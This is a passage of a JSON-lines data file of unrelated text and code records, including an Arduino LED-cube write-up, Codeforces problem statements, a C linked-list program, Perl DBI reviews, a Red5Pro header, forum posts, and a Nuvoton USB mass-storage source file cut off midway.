all LEDs. A solution would be to use a transistor for each LED with a resistor in series so the LED won't be harmed.\nFor testing, to select which layer should be lit, I used transistors which were connected to the ground of each layer.\nHere I ran into the next misconception.\nFirst I used the analogue pins of the Arduino because I knew I didn't have to apply the 5V to the base to saturate the transistor.\nThis is nonsense because:\nThe analogue pins of the Arduino are using PWM which means toggling between 0V and 5V.\nTo get a different 'equivalent analogue value' the duty cycle via TON is changed. This means the transistor also turns on and off and doesn't get any 'analogue' voltage value at all.\nIn the end I just used another 74HC595 shift register with transistors at the outputs to connect each layer with ground.\nFor the circuit I used a perfboard. As long as it's simple stuff a perfboard is great but the circuit for the cube was already a bit too complex, so insulated wires were used for the connection to the LEDs. The cube was soldered with the help of a mounting-mask, which was made of a plastic sheet with drilled holes in it.\nBecause I want to understand how stuff works I coded a library myself (I can only recommend this) and didn't use an existing one. My goal was to give my code a coordinate and the right LED would turn on.\nAt the beginning coding a function for multiplexing the layers makes sense.\nThe function takes 8 x 8bit, that represents the LEDs in the cube and handles how long one frame is turned on.\nAfter that I had to figure out which output of the shift registers goes to which LED. To give my code coordinates, another function is needed with a 3-dimensional array, that translates the coordinates into positions in a 64 digit long number (for the 8 x 8bit for the multiplexing function).\nNow that I could address each coordinate, I wrote some animation functions. After that I wanted something more exciting, something with music. I found a Processing library called minim which is able to detect beats. Now there is only the communication between Processing and Arduino left and the beat visualization is good to go.\n- Connect all input pins of this shift register.\n- Use transistors with resistors or something similar to ensure a defined current for all the LEDs.\n- The analogue pins of an Arduino don't really deliver analogue values instead they use PWM.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1108, "token_count_with_eod": 1109, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is generally enforced by having Defaults requiretty in the /etc/sudoers. No panic, there is an easy fix!\n-> sudo vim /etc/sudoers # # Disable \"ssh hostname sudo\n\", because it will show the password in clear. # You have to run \"ssh -t hostname sudo \". # #Defaults requiretty -> wq!\nDefaults requiretty Defaults:sam !requiretty", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 84, "token_count_with_eod": 85, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Priest Spell Memorization\nPriests do not need to memorize specific spells like wizards, due to their divine nature. Every day they receive the ability to cast a number of spells, which represents their ability to channel divine energy through their body. They do not have the ability to cast further spells until the start of the next day (at dawn). Spells slots of a higher level can be used to cast spells of a lower level (a 3rd level slot can be used to cast a 1st, 2nd, or 3rd level spell)\nPriests have access to certain spheres (determined by class) and have access to spells from listed in the Player’s Option: Spells & Magic index. Any spells from other sources (Priest Spell Compendiums, other modules, or other books) or ones that the player wants to make, must be researched first. Some spells may be made available to start if they are related to a particular deity or class.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 200, "token_count_with_eod": 201, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Прошло много лет, и на вечеринке снова встретились n друзей. С момента последней встречи техника шагнула далеко вперёд, появились фотоаппараты с автоспуском, и теперь не требуется, чтобы один из друзей стоял с фотоаппаратом, и, тем самым, оказывался не запечатлённым на снимке.\n\nУпрощенно процесс фотографирования можно описать следующим образом. На фотографии каждый из друзей занимает прямоугольник из пикселей: в стоячем положении i-й из них занимает прямоугольник ширины wi пикселей и высоты hi пикселей. Но также, при фотографировании каждый человек может лечь, и тогда он будет занимать прямоугольник ширины hi пикселей и высоты wi пикселей.\n\nОбщая фотография будет иметь размеры W × H, где W — суммарная ширина всех прямоугольников-людей, а H — максимальная из высот. Друзья хотят определить, какую минимальную площадь может иметь общая фотография. Помогите им в этом.", "source": "cpt_codeforces", "language": "en", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "#include <stdio.h>\n#include <string.h>\n#include <stdlib.h>\n\ntypedef struct node {\n\tint data;\n\tstruct node * next;\n} node;\nconst int BUFF = 256;\n\nnode * llbuild();\nnode *  addnode(node *, int);\nnode * traverse(node *, int);\nint length(node *);\nvoid display(node *);\n\nint main()\t{\n\tnode * head = NULL;\n\thead = llbuild();\n//\tdisplay(head);\n\n\t//delete to the left if small in one pass\n\tfor(node * cur = head, *prev = NULL; cur->next; cur = cur->next)\t{\n\t\tif(cur->next->data > cur->data)\t{\n\t\t\tif(!prev)\n\t\t\t\thead = cur->next;\n\t\t\telse\n\t\t\t\tprev->next = cur->next;\n\t\t}\n\t\telse prev = cur;\n\t}\n\n\t//display\n\tdisplay(head);\n\t\n\treturn 0;\n}\n\nvoid display(node * list)\t{\n\tnode * new = list;\n\twhile(new != NULL)\t{\n\t\tprintf(\"%d -> \", new->data);\n\t\tnew = new->next;\n\t}\n\tprintf(\"NULL\\n\");\n}\n\nnode * traverse(node * list, int index)\t{\n\tnode * cur = list;\n\tfor(int i = 2; i <= index; i++)\n\t\tcur = cur->next;\n\treturn cur;\n}\n\nint length(node * list)\t{\n\tint count = 1;\n\tnode * cur = list;\n\tif(cur == NULL)\n\t\treturn 0;\n\twhile(cur->next != NULL)\t{\n\t\tcur = cur->next;\n\t\tcount++;\n\t}\n\treturn count;\n}\n\nnode * addnode(node * list, int value)\t{\n\tnode * end = traverse(list, length(list));\n\tnode * new = malloc(sizeof(node));\n\t*new = (node){value, NULL};\n\tif(end == NULL)\n\t\tlist = new;\n\telse\n\t\tend->next = new;\n\treturn list;\n}\n\nnode * llbuild()\t{\n\tchar * list = malloc(BUFF);\n\tscanf(\"%[^\\n]\", list);\n\tnode * head = NULL;\n\tchar * token = strtok(list, \" \");\n\twhile(token != NULL)\t{\n\t\tchar * endptr = NULL;\n\t\tint val = strtol(token, &endptr, 10);\n\t\tif(!*endptr)\n\t\t\thead = addnode(head, val);\n\t\ttoken = strtok(NULL, \" \");\n\t}\n\treturn head;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 569, "token_count_with_eod": 570, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are given a string s and should process m queries. Each query is described by two 1-based indices li, ri and integer ki. It means that you should cyclically shift the substring s[li... ri] ki times. The queries should be processed one after another in the order they are given.\n\nOne operation of a cyclic shift (rotation) is equivalent to moving the last character to the position of the first character and shifting all other characters one position to the right.\n\nFor example, if the string s is abacaba and the query is l1 = 3, r1 = 6, k1 = 1 then the answer is abbacaa. If after that we would process the query l2 = 1, r2 = 4, k2 = 2 then we would get the string baabcaa.", "source": "cpt_codeforces", "language": "en", "token_count": 174, "token_count_with_eod": 175, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "One of the core modules that I couldn't live without. Excellent feature set for relational database access. All viable relational databases on earth are supported. I've been using DBI with Oracle, Postgres and SQLite with no major issues. The user community is so huge that so far I haven't come to a question that a Google search couldn't answer.\nThe standard indispensable core of all things database.\nThe only minor issue I have is with the DBI distribution packaging, which does seem to be bloating out a little in recent times with some features and packages that might be better in a seperate distributions.\nI use this module whenever I need to talk to a database. It has excellent documentation, clear examples, and provides a logical interface which makes using it in everyday coding rather easy. I can say that time invested in learning this module is rewarded with an excellent tool and better code.\nThanks for this de-facto standard in perl database penetration.\nStrong points of DBI:\n* it's the de facto standard in Perl, focusing database development.\n* a unified interface for connectivity, basic activities (and somewhat for capabilities), making it almost-not-a-nightmare to switch between database backends (but then there's always the specific syntax, semantics and concepts of different databases for anything non-trivial... *sigh*)\n* it's stable and mature with countless hours in production.\n* nice API.\n* huge amounts of additions and utilities in the DBIx namespace, built on top of DBI. Not to mention Class::DBI.\nAlthough it is one of the best developed perl-modules around (IMHO) I think it could use a bit nicer API - the length of the function names makes it error-prone. One solution would be returning (browsable) recordsets instead of a handler. (just daydreaming here)\nI haved used this version reliably with DBD::mysql 1.2216 and with the MySQL 3.23.52 database under Red Hat Linux 7.2 for over a year.\nOverall DBI is a great tool. it has brought a consistency to dealing with a whole variety of different databases and the APIs that go with them.\nTried using Proxy 1.30 but gave it away in the end. It was on Digital Unix 4.0f and kept stopping responding after a couple of days. Restarting would work but this was frustrating. Not sure whether the fault was DBD::Ingres or the server but don't really care now as we have moved on.\nUsed with DBD::Oracle without problem.\nExcellent; provides all DB interface functionality I need when using Perl.\nI have one ongonig problem in that the DBI:Proxy on HPUX crashes which is probably due to Net::Daemon not handling client side disconnects gracefully enough. I have to run a cron job every 5 minutes to restart DBI::Proxy if it dies. Installation was difficult (since I am not the DBA) for Oracle, but once it was figured out, the coding was straight forward.\nMy DBA and SysAdmin both think I have implemented a \"BLACK BOX\" which they fear, don't trust, and can't seem to get their arms around. But after 1 1/2 successful years of a small production program that works, and with implementations added on for Microsoft SQL on W2K, Linux MySQL and Oracle on HPUX, it is being more widely accepted.\nThanks to the DBI team. I have been very happy with this one and only version I have installed and used thus far.\nVery complete and mature database framework for Perl.\nA wonderful module.\nUsing Perl DBI is so much more fun than using Java and JDBC.\nIt also seems to knock the socks off PHP's database APIs, although I'm going on the PHP documentation rather than actual experience.\nIt's the DB category-killer. Indispensible for any DB work.\none of the strongest modules for Perl.\nA fantastic module with very thorough documentation and a nice API. As a matter of fact we wouldn't be using Perl for a lot of our projects at work if it wasn't for DBI. Best module on the CPAN? Hmm, top 5 for sure.\nThis gets fives because it is the classic way to connect to any database. You might want to look at Class::DBI for something easier.\nThe DBI is the single package that has made my life easier than any other non-Core module. I learned it once and now use it every day on multiple RDBMS. It is Just Right.\nExcellent module. Smart and responsive author. There's just no other choice when it comes to using Perl to interface with a database.\nExcellent module with thorough documentation. The newer versions also have lots of shortcut methods which save a lot of time (and are part of why I'm giving it 5/5 for \"Ease of Use\").\nI dread to think how my code would be if I'd had to write this for myself\nFantastic! I couldn't imagine having to do my job without it!\n(& thanks for the new ratings system!)\nDBI.pm is an amazingly useful module; but you probably already use it and know that.\n(how's this for a test review?)\n5 hidden unhelpful reviews", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1108, "token_count_with_eod": 1109, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "//\n//  R5Connection.h\n//  Red5Pro\n//\n//  Created by Andy Zupko on 9/16/14.\n//  Copyright (c) 2014 Infrared5. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n#include \"global.h\"\n#import \"R5Configuration.h\"\n\n\n@protocol R5ConnectionDelegate;\n\n/**\n *  @brief The main connection class for R5Pro.  This establishes the connection to the server.  Used by R5Stream as the communication layer.\n */\n@interface R5Connection : NSObject\n\n/**\n *  The configuration for this connection\n */\n@property (readonly) R5Configuration *config;\n\n/**\n *  The delegate to receive events for this connection. Specifically for Data Only streams.\n */\n@property NSObject<R5ConnectionDelegate> *delegate;\n\n/**\n *  The client to receive rpc calls for this connection. Specifically for Data Only streams.\n */\n@property NSObject *client;\n\n/**\n *  Initialize the connection with the configuration\n *\n *  @param config The configuration of the connection\n *\n *  @return a new connection\n */\n-(id)initWithConfig:(R5Configuration*) configuration;\n\n/**\n * De-initialize the connection.\n */\n-(void)invalidate;\n\n/**\n *  Make a connection call RPC to the server\n *\n *  @param method Method name to call\n *  @param returnMethod Return method name.  \"void\" if no return\n *  @param param  Parameter to send for this method\n */\n-(void)call:(NSString*)method withReturn:(NSString*)returnMethod withParam:(NSString*)param;\n\n/*\n *  Start a connection with a remote shared object\n */\n-(void)connectToSharedObject:(NSString*)name;\n\n/*\n *  Send a message through the Shared Object interface\n */\n-(void)sharedObjectSend:(NSString*)message;\n\n/**\n *  Request to switch the stream received on the current connection.\n * @param app The webapp context the target stream is being streamed in. e.g., \"live\".\n * @param streamName The new target stream name to request playback.\n */\n-(void)switchStream:(NSString*)app name:(NSString*)streamName;\n\n/**\n * Request a connection for data transfers - can't be used if this object is already being used for an A/V stream\n */\n-(void)startDataOnlyStream;\n-(void)stopDataOnlyStream;\n\n/**\n *  Get the connection context associated with this context\n *\n *  @return A client connection context.\n */\n-(client_ctx*)context;\n\n\n@end\n\n/**\n *  @protocol R5ConnectionDelegate\n *  @brief Delegate for handling R5Stream events\n */\n@protocol R5ConnectionDelegate <NSObject>\n\n/**\n *  Status handler for the R5Stream events\n *\n *  @param stream     Stream that has dispatched the event.\n *  @param statusCode Unique status code of the event.\n *  @param msg        A string description of the event.\n *\n *\n *\n *  Status Code     |  Msg\n *  -----------     | ------------\n *  CONNECTED       |   null\n *  DISCONNECTED    |   null\n *  ERROR           |   string message describing error\n *  TIMEOUT         |   null\n *  CLOSE           |   null\n *  START_STREAMING |   null\n *  STOP_STREAMING  |   null\n *  NET_STATUS      |   \"NetStream.Play.PublishNotify\" - publisher started<br/>\"NetStream.Play.UnpublishNotify\" - publisher stopped<br/>\"NetStream.Play.StreamDry\" - Keep Alive while no publisher publishing<br/>\"NetStream.Play.InSufficientBW.Audio\" - subscriber does not have enough bandwidth to accept audio in stream<br/>\"NetStream.Play.InSufficientBW.Video\" - subsceiber does not have enough bandwidth to accept video in stream<br/>\"NetStream.Play.SufficientBW.Audio\" - subscriber has regained enough bandwidth to consume audio<br/>\"NetStream.Play.SufficientBW.Video\" - subscriber has regained enough bandwidth to consume video\n *  AUDIO_MUTE      |   null\n *  AUDIO_UNMUTE    |   null\n *  VIDEO_MUTE      |   null\n *  VIDEO_UNMUTE    |   null\n *  LICENSE_ERROR   |   null\n *  LICENSE_VALID   |   null\n *  BUFFER_FLUSH_START  |   null\n *  BUFFER_FLUSH_EMPTY  |   null\n *  VIDEO_RENDER_START  |   null\n *\n */\n-(void)onR5ConnectionStatus:(R5Connection *)connection withStatus:(int) statusCode withMessage:(NSString*)msg;\n\n@end", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Om Nom is the main character of a game \"Cut the Rope\". He is a bright little monster who likes visiting friends living at the other side of the park. However the dark old parks can scare even somebody as fearless as Om Nom, so he asks you to help him.\n\nThe park consists of 2n + 1 - 1 squares connected by roads so that the scheme of the park is a full binary tree of depth n. More formally, the entrance to the park is located at the square 1. The exits out of the park are located at squares 2n, 2n + 1, ..., 2n + 1 - 1 and these exits lead straight to the Om Nom friends' houses. From each square i (2 ≤ i < 2n + 1) there is a road to the square $$\\frac{i}{2}$$. Thus, it is possible to go from the park entrance to each of the exits by walking along exactly n roads.\n\nOm Nom loves counting lights on the way to his friend. Om Nom is afraid of spiders who live in the park, so he doesn't like to walk along roads that are not enough lit. What he wants is that the way to any of his friends should have in total the same number of lights. That will make him feel safe.\n\nHe asked you to help him install additional lights. Determine what minimum number of lights it is needed to additionally place on the park roads so that a path from the entrance to any exit of the park contains the same number of street lights. You may add an arbitrary number of street lights to each of the roads.", "source": "cpt_codeforces", "language": "en", "token_count": 336, "token_count_with_eod": 337, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "As you very well know, this year's funkiest numbers are so called triangular numbers (that is, integers that are representable as $$\\frac{k(k+1)}{2}$$, where k is some positive integer), and the coolest numbers are those that are representable as a sum of two triangular numbers.\n\nA well-known hipster Andrew adores everything funky and cool but unfortunately, he isn't good at maths. Given number n, help him define whether this number can be represented by a sum of two triangular numbers (not necessarily different)!", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Sarlo's Guru Rating Service is an invaluable reference work; a vast compendium of links to and short irreverent summaries of just about every guru and spiritual master out there, plus a growing list of historicals, less well known figures, etc. Each entry is classified according to category, given a short description, and cheekily rated in terms of what seem to be little seated meditating figures or maybe they're buddhas (instead of the usual stars).\nSarlo was raised an agnostic, made a number of trips to India, dabbled with Paramahansa Yogananda and a few others before deciding on Osho as his Master. Although his ratings (how many \"buddhas\" awared to each) at times differ radically from the recommendations given in these pages, his massive website is a real inspiration and wonderful resource for anyone wishing to critique gurus, spiritual teachers and masters.\nSarlo's ratings are:\n(note: I did briefly consider including some sort of similar rating here, but felt that the whole guru and master phenomenon is too diverse to be simplistically rated along a single scale. Hence I decided to employ a number of different categories - Insight, Morality, and Following)\nRated categories include Devotion, Advaita, Middle Path (a combination of the preceeding two) and Fringe (New Age, esoteric, etc, universally rated very poorly). Unrated categories are (Zen) (Tibetan) (Sufis) (Buddhists) (Misc) (Yoga) (Indian) (Nondual) (Perennials) (Earth Medicine) (Humour) (Quasi-Christian) (Gnostic/Science) (Literature), and (Channels/New Age)\nAlso of use are Essays, further Links, and Dirt: (Special \"Anti-\"sites devoted to particular masters or groups).\nIn short an excellent, humourous reference, not to be taken serious (in fact Sarlo is even more irreverant than I am), and index for gurus and masters of all sorts (although with an emphasis on the Eastern ones)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 437, "token_count_with_eod": 438, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Professor GukiZ is concerned about making his way to school, because massive piles of boxes are blocking his way.\n\nIn total there are n piles of boxes, arranged in a line, from left to right, i-th pile (1 ≤ i ≤ n) containing ai boxes. Luckily, m students are willing to help GukiZ by removing all the boxes from his way. Students are working simultaneously. At time 0, all students are located left of the first pile. It takes one second for every student to move from this position to the first pile, and after that, every student must start performing sequence of two possible operations, each taking one second to complete. Possible operations are:\n\n1. If i ≠ n, move from pile i to pile i + 1;\n2. If pile located at the position of student is not empty, remove one box from it.\n\nGukiZ's students aren't smart at all, so they need you to tell them how to remove boxes before professor comes (he is very impatient man, and doesn't want to wait). They ask you to calculate minumum time t in seconds for which they can remove all the boxes from GukiZ's way. Note that students can be positioned in any manner after t seconds, but all the boxes must be removed.", "source": "cpt_codeforces", "language": "en", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "GitKraken vs SourceTree: What are the differences?\nDevelopers describe GitKraken as \"Git GUI Client for Windows Mac and Linux built on Electron\". The downright luxurious Git client for Windows, Mac and Linux. Cross-platform, 100% standalone, and free. On the other hand, SourceTree is detailed as \"A free Git GUI client for Windows and macOS\". Use the full capability of Git and Mercurial in the SourceTree desktop app. Manage all your repositories, hosted or local, through SourceTree's simple interface.\nGitKraken and SourceTree can be categorized as \"Source Code Management Desktop Apps\" tools.\n\"Dark theme\" is the primary reason why developers consider GitKraken over the competitors, whereas \"Visual history and branch view\" was stated as the key factor in picking SourceTree.\nAccording to the StackShare community, SourceTree has a broader approval, being mentioned in 615 company stacks & 400 developers stacks; compared to GitKraken, which is listed in 42 company stacks and 38 developer stacks.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "QUOTE(xamindar @ Mar 28 2008, 12:07 AM)\nPlease provide a little more info.....Zaurus doesn't support bluetooth out of the box so list what software you are using for pairing and dialing. Also, how are you sure the phone is paired?\nI currently use bluetooth on my zaurus to get internet access through my LG phone without any problems so I may be of help. You just need to provide as much info as you can to get help.\nSorry I only just saw your reply!\nI just about got this connection to work with my LG phone by tring to connect from an imac. However the phone then shut off and will not turn back on so is away for repair. In the meantime I have a Motorola V8 phone and I am trying to connect to this. Unfortunateley the same thing is happening - the phone requests a pin for pairing instead of connecting via gprs. - I had this working great with my V3 and thought this would be easy!\nI am using the network application in the cacko Rom.\nI have the user name and password for the o2 connection and I have tried different phone dial up codes.\ni.e. star99hash ( cannot locate these on this keyboard)\nI tried the connection from the imac with exactly the same result. - The phone asks for a pin for pairing and then shuts off any network connection.\nI have all devices paired and selected for dial up networking and have selected to allow connections.\nNot sure what else to try.\nkeef c860 and V8", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 339, "token_count_with_eod": 340, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "… but man, I wish I’d had a camera with me.\nOn one of the woodchip paths today, I saw four Garter Snakes, one large brown one which I think was female (thicker body which thins abruptly at the tail) and three smaller males (no change of size between body/tail). One of the males lay on top of the female, matching all her curves and his tail wrapped around her. An occasional muscular contraction passed down his body. The other two males kept tasting the air around her and trying to nudge their way between the pair.\nIt certainly looked like mating behaviour, but every reference I can find says garter snakes mate in the spring, fresh out of hibernation. I posted a question to the Western NY Herp Society, hoping they can enlighten me.\nI watched them for 20 minutes or so. Not a lot was going on, just slow slithering. I decided to leave them alone after a while and hoped no one would come along and freak out at the sight of snakes.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 218, "token_count_with_eod": 219, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'd like to debug Lazarus library code. In Delphi IDE I would simply check the Project Options -> Compiler -> Use Debug DCUs option on. Is there something similar in Lazarus?\nYes and no. It roughly works the same as in Delphi, you need two sets of the compiled units. (.o/.ppu), and some way to switch.\nBut because FPC/Lazarus are open source, only one set (the one without) is distributed. But you can craft the other byrecompile FPC and Lazarus with -gl. For tips on recompiling FPC/Lazarus see http://www.stack.nl/~marcov/buildfaq.pdf\n(it is even possible to do combinations. I debug many of my applications with everything debug except systems and sysutils, so that I don't trace into each and every string and exception helper, a major annoyance on Delphi)\nCurrently the releases afaik don't distribute the duplicate sets, but this is more a release engineering problem. (specially since by using strip, the non-debug set can be probably crafted from the debug set)\nBTW, it might be worth the trouble to ask on the Lazarus maillist if such way exists. Even if the release doesn't set it up, there might still be a possibility that the functionality exists.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 273, "token_count_with_eod": 274, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "There is a square matrix n × n, consisting of non-negative integer numbers. You should find such a way on it that\n\n- starts in the upper left cell of the matrix;\n- each following cell is to the right or down from the current cell;\n- the way ends in the bottom right cell.\n\nMoreover, if we multiply together all the numbers along the way, the result should be the least \"round\". In other words, it should end in the least possible number of zeros.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Nanami is an expert at playing games. This day, Nanami's good friend Hajime invited her to watch a game of baseball. Unwilling as she was, she followed him to the stadium. But Nanami had no interest in the game, so she looked around to see if there was something that might interest her. That's when she saw the digital board at one end of the stadium.\n\nThe digital board is n pixels in height and m pixels in width, every pixel is either light or dark. The pixels are described by its coordinate. The j-th pixel of the i-th line is pixel (i, j). The board displays messages by switching a combination of pixels to light, and the rest to dark. Nanami notices that the state of the pixels on the board changes from time to time. At certain times, certain pixels on the board may switch from light to dark, or from dark to light.\n\nNanami wonders, what is the area of the biggest light block such that a specific pixel is on its side. A light block is a sub-rectangle of the board, in which all pixels are light. Pixel (i, j) belongs to a side of sub-rectangle with (x1, y1) and (x2, y2) as its upper-left and lower-right vertex if and only if it satisfies the logical condition:\n\n((i = x1 or i = x2) and (y1 ≤ j ≤ y2)) or ((j = y1 or j = y2) and (x1 ≤ i ≤ x2)).\n\nNanami has all the history of changing pixels, also she has some questions of the described type, can you answer them?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Song, Victor, Hasan Cavusoglu, Mary L. Z. Ma, Gene Moo Lee (2022) “IT Risk and Stock Price Crashes,” Major Revision, Information Systems Research. [HICSS version]\n- Presented at UBC Cybersecurity 2018 (Vancouver, BC) and HICSS 2020 (Maui, HI)\n- Based on Victor Song’s Master’s Thesis\nAs firms increasingly depend on Information Technology (IT), risks associated with IT have become one of the top concerns for managers and investors. This study examines the relation between the IT-related risk factor in Item 1A of the 10-K annual reports and a firm’s stock price crash risk, a firm-specific propensity to stock price crashes. Using topic modeling to identify IT-related risk factors, we find that IT risk emerges as one of the firms’ key risk categories and that IT risk factors are positively associated with a firm’s future stock price crash risk. We further separate IT risk factors into cybersecurity risk that potentially leads to a loss or leak of data, and non-cybersecurity IT risk that relates to a firm’s reliance on IT for its competitive advantage and value creation activities. We find that cybersecurity risk continues to affect crash risk, but non-cybersecurity IT risk does not, consistent with their different risk natures. We also find that the readability, novelty, and the order of appearance of the IT risk factor in Item 1A enhance the information content of IT risk factors and strengthen their relation with stock price crash risk.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 322, "token_count_with_eod": 323, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "So here’s a crazy idea. CC @mjdsmith965\n- we try to pull together a community-driven, open-source spacecraft/satellite bus system\n- we open access to the bus by developing it into a cloud solution so people around the world can remotely connect novel payloads to it and run applications on it - as if it was a cloud service\nThere are a number of open-sourced CubeSats around, but I feel that they aren’t quite good enough to be a more powerful platform. I’m thinking a spacecraft bus for craft in the 100-200kg range. Could be useful for telecoms sats, EO sats, or even spacetugs.\nMoonshot would be happy to host the hardware. I think we could start to see some incredible innovations if that was made available, and its exactly this kind of open activity that I build Moonshot to encourage.\nIt would be good to check out FOS licences that are more appropriate for hardware, which are only just coming to up, like this one.\nWhat do we reckon? 🤔", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fishingprince loves trees. A tree is a connected undirected graph without cycles.\n\nFishingprince has a tree of $$$n$$$ vertices. The vertices are numbered $$$1$$$ through $$$n$$$. Let $$$d(x,y)$$$ denote the shortest distance on the tree from vertex $$$x$$$ to vertex $$$y$$$, assuming that the length of each edge is $$$1$$$.\n\nHowever, the tree was lost in an accident. Fortunately, Fishingprince still remembers some information about the tree. More specifically, for every triple of integers $$$x,y,z$$$ ($$$1\\le x<y\\le n$$$, $$$1\\le z\\le n$$$) he remembers whether $$$d(x,z)=d(y,z)$$$ or not.\n\nHelp him recover the structure of the tree, or report that no tree satisfying the constraints exists.", "source": "cpt_codeforces", "language": "en", "token_count": 176, "token_count_with_eod": 177, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A new programming language has been developed to try to reduce the complexity of building applications for ad hoc peer-to-peer mobile device networks. The new D3N (Data-Driven Declarative Networking) language devloped by a team from Cambridge University offers a way to communicate without some of the geographical constraints.\nResearch team leader, Jon Crowcroft released a paper paper describing the new technology. \"We envision an emergence of a new type of communications based on physical proximity, where people encounter each other and devices directly communicate within their range,\" the paper said. \"We introduce declarative networking for pocket-switched networks called D3N, which allows applications to construct a protocol description consisting of a reactive behaviour of a distributed node.\"\nSuch peer-to-peer mobile device networks, called \"pocket-switched networks,\" could allow communications between wireless devices without the need for conventional cellular networks, thereby eliminating the need for cell towers and base stations, researchers said in a recent issue of MIT's Technology Review.\nFor example, an ad hoc network would mean that after a hurricane knocks down cell towers, as happened when Hurricane Katrina hit near New Orleans in 2005, people using wireless devices could theoretically connect with one another over pocket-switched networks for access to help. Or, instead of going to the Internet for information on good places to stay or eat in an unfamiliar town, an ad hoc mobile network might help a visitor get the information from local residents or businesses.\nPeer-to-peer networking is a fairly commonplace idea in wired networks, but linking wireless smartphones and other handheld computers through pocket-switched networks would require using Bluetooth or another short-range wireless network.\nCrowcroft told Technology Review that if D3N gains popularity, it would usher in a \"whole slew of applications.\" Part of the challenge of building an ad hoc wireless network would be dealing with delays in connections, partly because individual mobile devices might be only occasionally connected. Still, they would need to be able to forward messages when reconnected. Users would subscribe to be part of an ad hoc network.\nD3N is based on the F# programming language, a Microsoft initiative. The paper says that future research will include validating the D3N language on a compiler deployed on actual wireless devices.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 454, "token_count_with_eod": 455, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/******************************************************************************\n * @file     main.c\n * @version  V3.00\n * @brief\n *           Use SD card as storage to implement a USB mass storage device.\n * @note\n * @copyright SPDX-License-Identifier: Apache-2.0\n * @copyright Copyright (C) 2021 Nuvoton Technology Corp. All rights reserved.\n ******************************************************************************/\n#include <stdio.h>\n#include \"NuMicro.h\"\n#include \"massstorage.h\"\n#include \"SDCARD.h\"\n\n/* If crystal-less is enabled, system won't use any crystal as clock source\n   If using crystal-less, system will be 48MHz, otherwise, system is 72MHz\n*/\n#define CRYSTAL_LESS        1\n#define HIRC_AUTO_TRIM      0x611   /* Use USB signal to fine tune HIRC 48MHz */\n#define TRIM_INIT           (SYS_BASE+0x110)\n\nvoid SYS_Init(void)\n{\n    /*---------------------------------------------------------------------------------------------------------*/\n    /* Init System Clock                                                                                       */\n    /*---------------------------------------------------------------------------------------------------------*/\n    /* Enable HIRC clock */\n    CLK_EnableXtalRC(CLK_PWRCTL_HIRCEN_Msk);\n\n    /* Wait for HIRC clock ready */\n    CLK_WaitClockReady(CLK_STATUS_HIRCSTB_Msk);\n\n#if (!CRYSTAL_LESS)\n    /* Enable GPIO Port F module clock */\n    CLK_EnableModuleClock(GPIOF_MODULE);\n\n    /* Set XT1_OUT(PF.2) and XT1_IN(PF.3) as input mode to use HXT */\n    GPIO_SetMode(PF, BIT2|BIT3, GPIO_MODE_INPUT);\n\n    /* Enable HXT clock */\n    CLK_EnableXtalRC(CLK_PWRCTL_HXTEN_Msk);\n\n    /* Wait for HXT clock ready */\n    CLK_WaitClockReady(CLK_STATUS_HXTSTB_Msk);\n\n    /* Set core clock to 72MHz */\n    CLK_SetCoreClock(72000000);\n\n    /* Select USB clock source as PLL and USB clock divider as 3 */\n    CLK_SetModuleClock(USBD_MODULE, CLK_CLKSEL3_USBDSEL_PLL, CLK_CLKDIV0_USB(3));\n#else\n    /* Select HCLK clock source to HIRC and HCLK clock divider as 1 */\n    CLK_SetHCLK(CLK_CLKSEL0_HCLKSEL_HIRC, CLK_CLKDIV0_HCLK(1));\n\n    /* Select USB clock source as HIRC and USB clock divider as 1 */\n    CLK_SetModuleClock(USBD_MODULE, CLK_CLKSEL3_USBDSEL_HIRC, CLK_CLKDIV0_USB(1));\n#endif\n\n    /* Enable UART0 module clock */\n    CLK_EnableModuleClock(UART0_MODULE);\n\n    /* Select UART0 module clock source as HIRC/2 and UART0 module clock divider as 1 */\n    CLK_SetModuleClock(UART0_MODULE, CLK_CLKSEL1_UART0SEL_HIRC_DIV2, CLK_CLKDIV0_UART0(1));\n\n    /* Enable USBD module clock */\n    CLK_EnableModuleClock(USBD_MODULE);\n\n    /* Enable SPI1 module clock */\n    